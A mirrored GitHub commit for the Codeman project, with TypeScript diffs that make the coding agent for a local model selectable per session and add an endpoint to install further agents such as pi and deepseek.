mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-11-14 02:29:33 +01:00
feat(local-model): the coding agent is chosen per session, with Pi and DeepSeek Harness
An installed model knew one coding agent: the one it was installed with.
The launch check never asked about the agent, only about the endpoint
and the model, so nothing stopped a second one. What was missing is the
list, and a way to get an agent that is not on the Mac yet.
The install view gains `harnesses`: every catalogue harness the model in
use can be run with, each with how it stands (`ready`, `installable`,
`installing`, `setup-needed`), the literal install command, a readiness
mark for scripts, and the actions the server accepts for it. `cli` stays
the default agent, and names one that can be started whenever one can,
so a client that reads only `cli` never starts an agent that is gone.
`POST /api/local-model/agent { cli }` installs one more agent beside an
installed model. It is not a job and not an event of the reducer: the
state stays `installed` whatever the installer does, so a failed npm
install never blocks a session on a model that works. Same install slot
and same compiled stock command as the `agent` step, one at a time, the
outcome in memory only.
The catalogue:
- `pi` is no longer gated. Its two open questions were answered by a run
against a real model (the `name:tag` id reaches the runtime unchanged;
its first request is 2,096 tokens), and Codeman now passes it the
window. Its minimum is 65536 like the others: nothing below was run,
and no model row offers less, so no Mac's pick changes.
- `deepseek` is new. It is a launcher: its install command leaves it
with nothing to launch, so it is never reported installable (read off
`discovery.launcherProfile`, not the id) and a Mac is offered it only
where it was already set up. Its tool round trip was seen on a
scripted endpoint only; the header says how to gate it again.
- a row may carry `readyMark`; `opencode` has the measured one.
A switch no longer refuses for the agent a model was checked with when
another agent that can run it is on the Mac.
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
This commit is contained in:
1 parent
a5a1b6f9a2
commit
d22bfaaaaf
14 files changed
+1089
-71
No files matched your search
@@ -13,10 +13,11 @@
|
||||
* computed from that model's architecture. test/local-model-catalog.test.ts recomputes every
|
||||
* computed figure from a table of architectures and refuses a row that is not in it, so a
|
||||
* new row needs its model's config.json read, not a figure borrowed from a neighbour.
|
||||
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
|
||||
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
|
||||
* take a custom model is checked against the registry at call time, in
|
||||
* src/local-model/harness-facts.ts, never here.
|
||||
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn?, readyMark? }`). The
|
||||
* `cli` is a CLI registry id as data: no code may compare it with a literal. Whether that CLI
|
||||
* exists, can take a custom model and can be installed from here is checked against the
|
||||
* registry at call time, in src/local-model/harness-facts.ts, never here. HARNESSES below
|
||||
* says what was measured for each row, and where.
|
||||
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
|
||||
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
|
||||
* row, and `chips` most specific first.
|
||||
@@ -56,14 +57,45 @@
|
||||
* | | | faster than the run without it |
|
||||
* | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed |
|
||||
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
|
||||
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why |
|
||||
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated |
|
||||
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | |
|
||||
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. Nothing was run below it, |
|
||||
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | and no model row offers less, so |
|
||||
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | every row says 65536 (HARNESSES) |
|
||||
* | | leaves 14,000 to 16,000 tokens, less than one default | |
|
||||
* | | 2,000-line file read | |
|
||||
* | `chips` | the bandwidth column of | yes, read at the source for this |
|
||||
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
|
||||
*
|
||||
* HARNESSES. What each harness row rests on. The runs of 2026-11-10 were made on Linux through
|
||||
* Codeman's own custom model launch, against a real model (Ollama 0.13.0, a 1.7B model on a CPU)
|
||||
* where it says REAL, and against a scripted endpoint that replays that runtime's stream of a
|
||||
* tool call where it says SCRIPTED. A scripted run proves the harness's side of the protocol,
|
||||
* never what a model does with its prompt. None of them ran on a Mac or on the pinned runtime.
|
||||
*
|
||||
* | Harness | First request (fixed prompt) | Tool round trip | `readyMark` |
|
||||
* |------------|-----------------------------------|----------------------------------------|--------------------------------------|
|
||||
* | `opencode` | 8,115 tokens, 11 tools (v1.19.5; | SCRIPTED (v1.19.5). REAL in our own | `┃`: the first painted frame holds |
|
||||
* | | more with user-level skills) | run on a Mac, see the `tested` entry | the composer; a prompt sent at the |
|
||||
* | | | | mark was submitted, 2 of 2 launches |
|
||||
* | `claude` | about 36,000 tokens, which is | not run again for this table (the row | none here: the CLI registry's |
|
||||
* | | `slowFirstTurn` | shipped in 1.50.0) | `composerReadyMark` stands |
|
||||
* | `pi` | 2,096 tokens, 4 tools (v1.5.2, | REAL (v1.5.2): tool call, tool result, | none: its composer rules are painted |
|
||||
* | | the runtime's own count) | final answer, the file on disk | before it takes Enter (2 of 2 |
|
||||
* | | | | prompts sent at the rule stayed |
|
||||
* | | | | unsent), and it draws nothing that |
|
||||
* | | | | is a contract once it does |
|
||||
* | `deepseek` | about 7,650 tokens, 25 tools | SCRIPTED only (0.1.1-rc.2 with dsh-TUI | none here: the CLI registry's `❯` |
|
||||
* | | (0.1.1-rc.2) | 0.10.0-beta.1, not today's versions). | stands; a prompt sent at it was |
|
||||
* | | | REAL: the launch and the model name | submitted, 2 of 2 launches |
|
||||
* | | | reached the runtime, no turn finished | |
|
||||
*
|
||||
* Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for
|
||||
* two open questions, both answered by its run: the id (above), and the window, which Codeman
|
||||
* now passes to it (src/custom-model-injection.ts; without it pi takes an unknown model for a
|
||||
* 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to
|
||||
* launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered
|
||||
* it only where it was already set up. It is offered on a scripted run and one unfinished real
|
||||
* one: gate the row again (`gated: true`) should a run on a Mac not finish a turn.
|
||||
*
|
||||
* MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes`
|
||||
* (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three
|
||||
* figures are filled by the rule of its runner:
|
||||
@@ -222,6 +254,8 @@ const LocalHarnessEntrySchema = z
|
||||
rank: z.number().int(),
|
||||
gated: z.boolean().optional(),
|
||||
slowFirstTurn: z.boolean().optional(),
|
||||
// One literal a script waits for: no white space, so the terminal's own spacing cannot split it.
|
||||
readyMark: z.string().min(1).max(64).regex(/^\S+$/).optional(),
|
||||
})
|
||||
.strict();
|
||||
|
||||
@@ -528,13 +562,16 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
|
||||
tested: [],
|
||||
},
|
||||
],
|
||||
// The higher rank wins when a model can run with more than one harness.
|
||||
// The higher rank wins when a model can run with more than one harness. What each row rests
|
||||
// on is the HARNESSES table of the file header.
|
||||
harnesses: [
|
||||
{ cli: 'opencode', minContext: 65536, rank: 3 },
|
||||
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
|
||||
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
|
||||
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
|
||||
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
|
||||
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
|
||||
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
|
||||
// The smallest first request of the four (2,096 tokens). No `readyMark`: see HARNESSES.
|
||||
{ cli: 'pi', minContext: 65536, rank: 2 },
|
||||
// A launcher: offered only where it is already set up, never installed from here.
|
||||
{ cli: 'deepseek', minContext: 65536, rank: 1 },
|
||||
],
|
||||
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
|
||||
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
|
||||
|
||||
@@ -9,14 +9,18 @@
|
||||
* mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
|
||||
* - reports `label` from the registry entry and `installed` from the same probe the page
|
||||
* render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
|
||||
* - reports `installable` only for a STOCK CLI that is not installed and whose install
|
||||
* command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
|
||||
* and then carries that command as `installCommand`, so the consent screen can print the
|
||||
* - reports `installable` only for a STOCK CLI that is not installed, whose install command
|
||||
* for this platform needs no administrator rights (`installCommandNeedsAdmin()`) and which
|
||||
* is not a launcher (`discovery.launcherProfile`: its install command leaves it with nothing
|
||||
* to launch, and what it launches is third-party code with a consent of its own in the Run
|
||||
* menu), and then carries that command as `installCommand`, so the consent screen can print the
|
||||
* literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
|
||||
* one a `clis.json` override supplies: it is exactly what the install job would run, and
|
||||
* an override file must not be able to change that;
|
||||
* - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
|
||||
* applies to the model id before anything is written.
|
||||
* applies to the model id before anything is written;
|
||||
* - passes on the registry's `capabilities.composerReadyMark` as `readyMark` when it holds no
|
||||
* white space (a script waits for it as one literal).
|
||||
*
|
||||
* Rules:
|
||||
* - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
|
||||
@@ -156,19 +160,23 @@ export async function buildHarnessFacts(
|
||||
}
|
||||
|
||||
let installCommand: string | undefined;
|
||||
if (!installed && entry.stock) {
|
||||
// A launcher (`discovery.launcherProfile`) is not startable after its install command: it
|
||||
// still needs something to launch, which that command does not install.
|
||||
if (!installed && entry.stock && entry.discovery.launcherProfile === undefined) {
|
||||
const command = resolved.installCommandFor(entry);
|
||||
if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
|
||||
installCommand = command;
|
||||
}
|
||||
}
|
||||
|
||||
const registryMark = entry.capabilities.composerReadyMark;
|
||||
facts.push({
|
||||
cli: row.cli,
|
||||
label: entry.label,
|
||||
installed,
|
||||
installable: installCommand !== undefined,
|
||||
...(installCommand !== undefined ? { installCommand } : {}),
|
||||
...(registryMark !== undefined && !/\s/.test(registryMark) ? { readyMark: registryMark } : {}),
|
||||
acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
|
||||
});
|
||||
}
|
||||
|
||||
+280
-29
@@ -33,7 +33,7 @@
|
||||
* | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop |
|
||||
* | | in use and every other model of the | runtime is started again | | the runtime, install (add a |
|
||||
* | | library | when it was not stopped | | model), use, delete a model, |
|
||||
* | | | | | remove |
|
||||
* | | | | | install a coding agent, remove |
|
||||
*
|
||||
* The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the
|
||||
* job stopped in; they first make sure the runtime runs when the step needs it.
|
||||
@@ -96,6 +96,16 @@
|
||||
* server's own total.
|
||||
* - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a
|
||||
* `HarnessFact`.
|
||||
* - The coding agent is chosen PER SESSION. The state file's `cli` is the agent of the job
|
||||
* and, once installed, the default one; the view's `harnesses` lists every catalogue harness
|
||||
* the model in use can be run with (`buildHarnessRows()`). The launch check
|
||||
* (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent.
|
||||
* - Installing one more coding agent beside an installed model (`installAgent()`,
|
||||
* `POST /api/local-model/agent`) is NOT a job and not an event of the reducer: the state
|
||||
* stays `installed` whatever the installer does, so a failed `npm install` never blocks a
|
||||
* session on a model that works. It runs in the background through the same install slot
|
||||
* and the same stock command as the `agent` step, one at a time, and what it leaves behind
|
||||
* is in memory only (`LocalModelHarnessRow.status` `installing`, or its `error`).
|
||||
*
|
||||
* The service (`createLocalModelService()`), beyond the reducer:
|
||||
* - Verbs run one at a time on one queue, so two installs sent together cannot both find the
|
||||
@@ -161,6 +171,7 @@ import {
|
||||
type HardwareFacts,
|
||||
type HarnessFact,
|
||||
type LocalModelAction,
|
||||
type LocalModelAgentRequest,
|
||||
type LocalModelCatalog,
|
||||
type LocalModelConflict,
|
||||
type LocalModelDeleteRequest,
|
||||
@@ -172,6 +183,8 @@ import {
|
||||
type LocalModelInstallState,
|
||||
type LocalModelInstallStep,
|
||||
type LocalModelInstallView,
|
||||
type LocalModelHarnessRow,
|
||||
type LocalModelHarnessStatus,
|
||||
type LocalModelLibraryAction,
|
||||
type LocalModelLibraryEntry,
|
||||
type LocalModelLibraryRow,
|
||||
@@ -261,8 +274,9 @@ export interface InstallStateRow {
|
||||
* Every action a client may take in this state. The view's `actions` is this list narrowed
|
||||
* by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and
|
||||
* `start-session` only while it runs, `start-session` only when nothing blocks a session,
|
||||
* `use` and `delete-model` only while a row of the library offers them, and in `idle`
|
||||
* `remove` only while the model store still holds something.
|
||||
* `use` and `delete-model` only while a row of the library offers them, `install-agent` only
|
||||
* while a row of `harnesses` offers it, and in `idle` `remove` only while the model store
|
||||
* still holds something.
|
||||
*/
|
||||
actions: readonly LocalModelAction[];
|
||||
}
|
||||
@@ -312,7 +326,7 @@ export const INSTALL_STATE_TABLE: Readonly<Record<LocalModelInstallState, Instal
|
||||
'Stays installed. The runtime is started again unless the person had stopped it, and the digest is read again: a changed digest or a port taken by another program shows as an error on the view and blocks a session, the state stays installed.',
|
||||
afterCancel: null,
|
||||
cancel: 'Refused: no job is running.',
|
||||
actions: ['start-session', 'start', 'stop', 'install', 'use', 'delete-model', 'remove'],
|
||||
actions: ['start-session', 'start', 'stop', 'install', 'use', 'delete-model', 'install-agent', 'remove'],
|
||||
},
|
||||
};
|
||||
|
||||
@@ -695,6 +709,13 @@ export interface InstallLiveFacts {
|
||||
storeBytes?: number;
|
||||
/** The catalogue's label per model id, for a model the runtime lists and the state file does not know. */
|
||||
labels?: Readonly<Record<string, string>>;
|
||||
/**
|
||||
* The coding agents of the model in use (`buildHarnessRows()`), without their
|
||||
* `start-session` action: the view adds it once it knows whether a session can be started.
|
||||
* Absent while nothing is installed, and when the catalogue or the CLI registry could not be
|
||||
* read: the view then lists none.
|
||||
*/
|
||||
harnesses?: readonly LocalModelHarnessRow[];
|
||||
}
|
||||
|
||||
/** An error code with its sentence, its slots and its one next step. Pure. */
|
||||
@@ -819,6 +840,91 @@ export function buildLibraryRows(state: LocalModelStateFile, live: InstallLiveFa
|
||||
return rows;
|
||||
}
|
||||
|
||||
/** What the service remembers of installs of a coding agent beside an installed model. In memory only. */
|
||||
export interface AgentInstallMemory {
|
||||
/** The CLI id of the agent whose installer runs right now. */
|
||||
running?: string;
|
||||
/** The agents whose last install failed, by CLI id, with the end of what the installer printed. */
|
||||
failed?: Readonly<Record<string, { detail?: string }>>;
|
||||
}
|
||||
|
||||
/**
|
||||
* The coding agents the model in use can be run with: every catalogue harness that is not
|
||||
* gated, has a fact, works at the model's context and accepts its name. The default agent
|
||||
* first, then the higher catalogue rank. The default is the agent of the installation
|
||||
* (`state.cli`) while it can be started, else the first one that can, so a client that names
|
||||
* no agent never starts one that is gone. Rows carry no `start-session` action yet: whether a
|
||||
* session can be started at all is the view's knowledge (`buildInstallView()`). Empty unless
|
||||
* the state is `installed`. Pure, and it compares no CLI id with a literal.
|
||||
*/
|
||||
export function buildHarnessRows(
|
||||
state: LocalModelStateFile,
|
||||
catalog: Pick<LocalModelCatalog, 'harnesses'>,
|
||||
facts: readonly HarnessFact[],
|
||||
memory: AgentInstallMemory = {}
|
||||
): LocalModelHarnessRow[] {
|
||||
if (state.state !== 'installed' || !state.model) return [];
|
||||
const model = state.model;
|
||||
const ranked: Array<{ rank: number; row: LocalModelHarnessRow }> = [];
|
||||
for (const entry of catalog.harnesses) {
|
||||
if (entry.gated) continue;
|
||||
const fact = facts.find((candidate) => candidate.cli === entry.cli);
|
||||
if (!fact || model.context < entry.minContext) continue;
|
||||
let accepts = false;
|
||||
try {
|
||||
accepts = fact.acceptsModelId(model.id);
|
||||
} catch {
|
||||
accepts = false;
|
||||
}
|
||||
if (!accepts) continue;
|
||||
|
||||
const installing = !fact.installed && memory.running === entry.cli;
|
||||
const status: LocalModelHarnessStatus = fact.installed
|
||||
? 'ready'
|
||||
: installing
|
||||
? 'installing'
|
||||
: fact.installable
|
||||
? 'installable'
|
||||
: 'setup-needed';
|
||||
const failure = status === 'installable' ? memory.failed?.[entry.cli] : undefined;
|
||||
const readyMark = entry.readyMark ?? fact.readyMark;
|
||||
ranked.push({
|
||||
rank: entry.rank,
|
||||
row: {
|
||||
cli: entry.cli,
|
||||
cliLabel: fact.label,
|
||||
default: false,
|
||||
status,
|
||||
...((status === 'installable' || status === 'installing') && fact.installCommand !== undefined
|
||||
? { installCommand: fact.installCommand }
|
||||
: {}),
|
||||
...(entry.slowFirstTurn ? { slowFirstTurn: true } : {}),
|
||||
...(readyMark !== undefined ? { readyMark } : {}),
|
||||
...(failure
|
||||
? {
|
||||
error: {
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: fact.label } },
|
||||
...(failure.detail ? { detail: failure.detail } : {}),
|
||||
},
|
||||
}
|
||||
: {}),
|
||||
// One installer at a time: while one runs, no other agent is offered for install.
|
||||
actions: status === 'installable' && memory.running === undefined ? ['install'] : [],
|
||||
},
|
||||
});
|
||||
}
|
||||
ranked.sort((a, b) => b.rank - a.rank);
|
||||
const rows = ranked.map((entry) => entry.row);
|
||||
const chosen = state.cli?.id;
|
||||
const fallback =
|
||||
rows.find((row) => row.cli === chosen && row.status === 'ready') ??
|
||||
rows.find((row) => row.status === 'ready') ??
|
||||
rows.find((row) => row.cli === chosen);
|
||||
if (!fallback) return rows;
|
||||
fallback.default = true;
|
||||
return [fallback, ...rows.filter((row) => row !== fallback)];
|
||||
}
|
||||
|
||||
/**
|
||||
* The actions the server accepts right now: the state row's list narrowed by what is live.
|
||||
* `rows` is `buildLibraryRows()` of the same two arguments, for a caller that has it. Pure.
|
||||
@@ -833,12 +939,18 @@ export function allowedActions(
|
||||
return actions.filter((action) => {
|
||||
if (action === 'use') return rows.some((row) => row.actions.includes('use'));
|
||||
if (action === 'delete-model') return rows.some((row) => row.actions.includes('delete'));
|
||||
if (action === 'install-agent') return (live.harnesses ?? []).some((row) => row.actions.includes('install'));
|
||||
// From idle a Remove only clears what an earlier one kept: offered while there is something.
|
||||
if (state.state === 'idle') return action !== 'remove' || (live.storeBytes ?? 0) > 0;
|
||||
if (state.state !== 'installed') return true;
|
||||
if (action === 'start') return !live.running;
|
||||
if (action === 'stop') return live.running;
|
||||
if (action === 'start-session') return live.running && !blocked;
|
||||
if (action === 'start-session') {
|
||||
// With the agents known, a session needs one that can be started. Unknown (the registry
|
||||
// could not be read) is not "none": the launch itself says what is missing then.
|
||||
const anAgent = live.harnesses === undefined || live.harnesses.some((row) => row.status === 'ready');
|
||||
return live.running && !blocked && anAgent;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
@@ -881,6 +993,7 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa
|
||||
folder: live.folder,
|
||||
library,
|
||||
...(live.storeBytes !== undefined ? { store: { bytes: live.storeBytes, gb: formatGb(live.storeBytes) } } : {}),
|
||||
harnesses: [],
|
||||
actions: allowedActions(state, live, library),
|
||||
};
|
||||
if (state.state === 'idle') return view;
|
||||
@@ -907,6 +1020,18 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa
|
||||
if (state.connection) view.endpointId = state.connection.endpointId;
|
||||
const blocker = installedBlocker(state, live);
|
||||
if (blocker) view.error = blocker;
|
||||
// An agent that can be started offers a session exactly when the model does.
|
||||
const canStart = view.actions.includes('start-session');
|
||||
view.harnesses = (live.harnesses ?? []).map((row) =>
|
||||
row.status === 'ready' && canStart ? { ...row, actions: ['start-session', ...row.actions] } : { ...row }
|
||||
);
|
||||
// The default agent is the one a client that names none starts: never one that is gone
|
||||
// while another can be started.
|
||||
const preferred = view.harnesses.find((row) => row.default);
|
||||
if (preferred) {
|
||||
view.cli = preferred.cli;
|
||||
view.cliLabel = preferred.cliLabel;
|
||||
}
|
||||
return view;
|
||||
}
|
||||
|
||||
@@ -1053,8 +1178,12 @@ export interface LocalModelServiceDeps {
|
||||
|
||||
/** The install as the routes and the server see it. One per process. */
|
||||
export interface LocalModelService {
|
||||
/** The `install` object of the GET. Never throws. */
|
||||
view(): Promise<LocalModelInstallView>;
|
||||
/**
|
||||
* The `install` object of the GET. Never throws. `harnessFacts`: the facts a caller already
|
||||
* built for the same answer (the GET builds them for the recommendation), so they are not
|
||||
* built twice; without them the service builds its own.
|
||||
*/
|
||||
view(options?: { harnessFacts?: readonly HarnessFact[] }): Promise<LocalModelInstallView>;
|
||||
/**
|
||||
* Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`:
|
||||
* yes, which is also the answer for every endpoint that is not this feature's. Otherwise the
|
||||
@@ -1105,6 +1234,14 @@ export interface LocalModelService {
|
||||
* runtime is down.
|
||||
*/
|
||||
deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise<LocalModelVerbResult>;
|
||||
/**
|
||||
* `POST /api/local-model/agent`: install one more coding agent beside an installed model.
|
||||
* Answers once the installer is STARTED; it runs on in the server, and the view's
|
||||
* `harnesses` says how it stands. Not a job: the state stays `installed` and sessions go on.
|
||||
* The agent must be a row of `harnesses` that offers `install`; one that can already be
|
||||
* started answers with the view as it is. One installer at a time (409 `job-running`).
|
||||
*/
|
||||
installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>;
|
||||
/** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */
|
||||
cancel(): Promise<LocalModelVerbResult>;
|
||||
/**
|
||||
@@ -1148,7 +1285,7 @@ export interface LocalModelService {
|
||||
shutdown(): Promise<void>;
|
||||
/** What the runtime supervisor reports through `onChange`: the pid of a child the moment it is spawned, a new pid after a restart, the budget line. Stored, never thrown. */
|
||||
onRuntimeChange(status: RuntimeStatus): void;
|
||||
/** Resolves once no job is in flight. For `shutdown()` and for tests. */
|
||||
/** Resolves once no job is in flight and no coding agent is being installed. For `shutdown()` and for tests. */
|
||||
idle(): Promise<void>;
|
||||
}
|
||||
|
||||
@@ -1260,6 +1397,13 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
/** What the model store last took on disk, and when. */
|
||||
private storeCache: { at: number; bytes: number } | undefined;
|
||||
private storeRefresh: Promise<void> | undefined;
|
||||
/**
|
||||
* The install of one more coding agent beside an installed model, while its installer runs.
|
||||
* Not a job: the state file never hears of it, and the state stays `installed`.
|
||||
*/
|
||||
private agentInstall: { cli: string; controller: AbortController; promise: Promise<void> } | undefined;
|
||||
/** The agents whose last such install failed, with the end of what the installer printed. Forgotten at a restart. */
|
||||
private readonly agentFailures = new Map<string, { detail?: string }>();
|
||||
|
||||
constructor(deps: Partial<LocalModelServiceDeps>) {
|
||||
const pin = deps.pin ?? OLLAMA_RUNTIME_PIN;
|
||||
@@ -1730,8 +1874,30 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
|
||||
// ---------- The view ----------
|
||||
|
||||
private async liveFacts(state: LocalModelStateFile): Promise<InstallLiveFacts> {
|
||||
/** What `buildHarnessRows()` is told about agent installs: the one that runs, and the ones that failed. */
|
||||
private agentMemory(): AgentInstallMemory {
|
||||
return {
|
||||
...(this.agentInstall ? { running: this.agentInstall.cli } : {}),
|
||||
...(this.agentFailures.size > 0 ? { failed: Object.fromEntries(this.agentFailures) } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
private async liveFacts(
|
||||
state: LocalModelStateFile,
|
||||
harnessFacts?: readonly HarnessFact[]
|
||||
): Promise<InstallLiveFacts> {
|
||||
const status = this.deps.supervisor.status();
|
||||
let harnesses: LocalModelHarnessRow[] | undefined;
|
||||
if (state.state === 'installed') {
|
||||
try {
|
||||
const catalog = this.deps.getCatalog();
|
||||
const facts = harnessFacts ?? (await this.deps.buildHarnessFacts(catalog));
|
||||
harnesses = buildHarnessRows(state, catalog, facts, this.agentMemory());
|
||||
} catch (err) {
|
||||
// Unknown, not "none": the view then lists no agent and still offers a session.
|
||||
console.warn(`[local-model] The coding agents could not be listed: ${getErrorMessage(err)}`);
|
||||
}
|
||||
}
|
||||
let developerTools: LocalModelDeveloperTools = 'unknown';
|
||||
try {
|
||||
developerTools = await this.deps.checkDeveloperTools();
|
||||
@@ -1767,10 +1933,11 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
...(tags ? { tags } : {}),
|
||||
...(this.storeCache ? { storeBytes: this.storeCache.bytes } : {}),
|
||||
...(labels ? { labels } : {}),
|
||||
...(harnesses ? { harnesses } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
async view(): Promise<LocalModelInstallView> {
|
||||
async view(options: { harnessFacts?: readonly HarnessFact[] } = {}): Promise<LocalModelInstallView> {
|
||||
try {
|
||||
await this.recovered();
|
||||
let state = await this.currentState();
|
||||
@@ -1793,7 +1960,7 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
void this.refreshDigest(state).catch(() => {});
|
||||
}
|
||||
await this.freshenListings(state);
|
||||
return buildInstallView(state, await this.liveFacts(state));
|
||||
return buildInstallView(state, await this.liveFacts(state, options.harnessFacts));
|
||||
} catch (err) {
|
||||
console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`);
|
||||
return buildInstallView(IDLE_LOCAL_MODEL_STATE, {
|
||||
@@ -1988,9 +2155,11 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
const open = this.sessionsOpen(state, liveSessionNames);
|
||||
if (open) return open;
|
||||
|
||||
// The coding agent of the switch: the one this model was checked with, else the one of
|
||||
// the state, whichever is on this Mac now. A job that stopped while it installed another
|
||||
// agent leaves the state naming one that may not be there.
|
||||
// The coding agent of the switch, which becomes the default one: the one this model was
|
||||
// checked with, else the one of the state, whichever is on this Mac now. A job that
|
||||
// stopped while it installed another agent leaves the state naming one that may not be
|
||||
// there. With neither, any agent the model can be run with that is on this Mac: the
|
||||
// agent is chosen per session, so a switch is not refused for one that was uninstalled.
|
||||
const agents = [entry.cli, state.cli].filter(
|
||||
(cli, index, all): cli is { id: string; label: string } =>
|
||||
cli !== undefined && all.findIndex((other) => other?.id === cli.id) === index
|
||||
@@ -2002,6 +2171,22 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!cli) {
|
||||
try {
|
||||
const catalog = this.deps.getCatalog();
|
||||
const afterSwitch: LocalModelStateFile = {
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: entry.id, label: entry.label, context: entry.context },
|
||||
};
|
||||
const ready = buildHarnessRows(afterSwitch, catalog, await this.deps.buildHarnessFacts(catalog)).find(
|
||||
(row) => row.status === 'ready'
|
||||
);
|
||||
if (ready) cli = { id: ready.cli, label: ready.cliLabel };
|
||||
} catch {
|
||||
/* no other agent is known then, and the switch is refused below */
|
||||
}
|
||||
}
|
||||
if (!cli) {
|
||||
return {
|
||||
ok: false,
|
||||
@@ -2031,6 +2216,54 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
});
|
||||
}
|
||||
|
||||
installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> {
|
||||
return this.exclusive(async () => {
|
||||
await this.settle();
|
||||
const state = await this.currentState();
|
||||
if (state.state === 'installing') return conflict('job-running');
|
||||
if (!INSTALL_STATE_TABLE[state.state].actions.includes('install-agent')) return conflict('wrong-state');
|
||||
// One installer at a time, whichever agent it is for.
|
||||
if (this.agentInstall) return conflict('job-running');
|
||||
|
||||
// Checked against what the server itself lists right now, before anything runs.
|
||||
const catalog = this.deps.getCatalog();
|
||||
const facts = await this.deps.buildHarnessFacts(catalog);
|
||||
const row = buildHarnessRows(state, catalog, facts).find((candidate) => candidate.cli === request.cli);
|
||||
if (!row) {
|
||||
return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered } };
|
||||
}
|
||||
// Already there (a second click, or it was installed by hand meanwhile): nothing to do.
|
||||
if (row.status === 'ready') return this.answer();
|
||||
if (row.status !== 'installable') {
|
||||
return {
|
||||
ok: false,
|
||||
status: 400,
|
||||
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: row.cliLabel } },
|
||||
};
|
||||
}
|
||||
|
||||
this.agentFailures.delete(row.cli);
|
||||
const controller = new AbortController();
|
||||
const cli = row.cli;
|
||||
const run = {
|
||||
cli,
|
||||
controller,
|
||||
promise: this.installCodingAgent(cli, actor, controller.signal)
|
||||
.then((outcome) => {
|
||||
if (outcome.kind === 'fail') this.agentFailures.set(cli, { detail: outcome.detail });
|
||||
})
|
||||
.catch((err: unknown) => {
|
||||
this.agentFailures.set(cli, { detail: getErrorMessage(err) });
|
||||
})
|
||||
.finally(() => {
|
||||
if (this.agentInstall === run) this.agentInstall = undefined;
|
||||
}),
|
||||
};
|
||||
this.agentInstall = run;
|
||||
return this.answer();
|
||||
});
|
||||
}
|
||||
|
||||
deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise<LocalModelVerbResult> {
|
||||
return this.exclusive(async () => {
|
||||
await this.settle();
|
||||
@@ -2372,6 +2605,8 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
const job = this.job;
|
||||
// The state file keeps saying `installing`: the next start reads that as a paused job.
|
||||
job?.controller.abort();
|
||||
// An agent installer beside an installed model: its process group is ended, nothing is recorded.
|
||||
this.agentInstall?.controller.abort();
|
||||
// The runtime is signalled at once, not after the job let go: the server may exit soon.
|
||||
